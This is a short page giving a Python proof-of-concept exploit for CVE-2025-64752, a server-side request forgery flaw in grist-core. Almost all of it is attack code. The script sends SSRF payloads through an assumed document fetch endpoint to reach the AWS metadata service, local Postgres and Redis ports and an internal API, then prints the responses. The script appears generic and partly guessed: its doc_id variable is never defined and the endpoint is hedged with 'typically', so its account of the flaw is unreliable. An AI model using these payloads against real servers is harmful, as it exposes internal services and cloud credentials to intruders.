CVE-2025-64752: Grist-core Server-Side Request Forgery (SSRF) 漏洞

# CVE-2025-64752 SSRF PoC for grist-core # This PoC demonstrates the Server-Side Request Forgery vulnerability import requests import json TARGET_URL = "http://target-grist-instance.com" # Step 1: Authenticate and get access to any document # Assuming attacker has access to at least one document session = requests.Session() # Step 2: Use the URL fetch feature to make server-side requests # The vulnerable endpoint typically accepts a URL parameter vulnerable_endpoint = f"{TARGET_URL}/api/documents/{doc_id}/fetch" # Step 3: Probe internal services (example: AWS metadata) ssrf_payloads = [ "http://169.254.169.254/latest/meta-data/", # AWS metadata "http://localhost:5432/", # Internal database "http://127.0.0.1:6379/", # Redis "http://internal-api.local/secret", # Internal API ] for payload in ssrf_payloads: try: response = session.post( vulnerable_endpoint, json={"url": payload}, timeout=5 ) print(f"Target: {payload}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") print("---") except requests.exceptions.RequestException as e: print(f"Error probing {payload}: {e}") print("\nNote: This PoC is for educational and authorized testing purposes only.")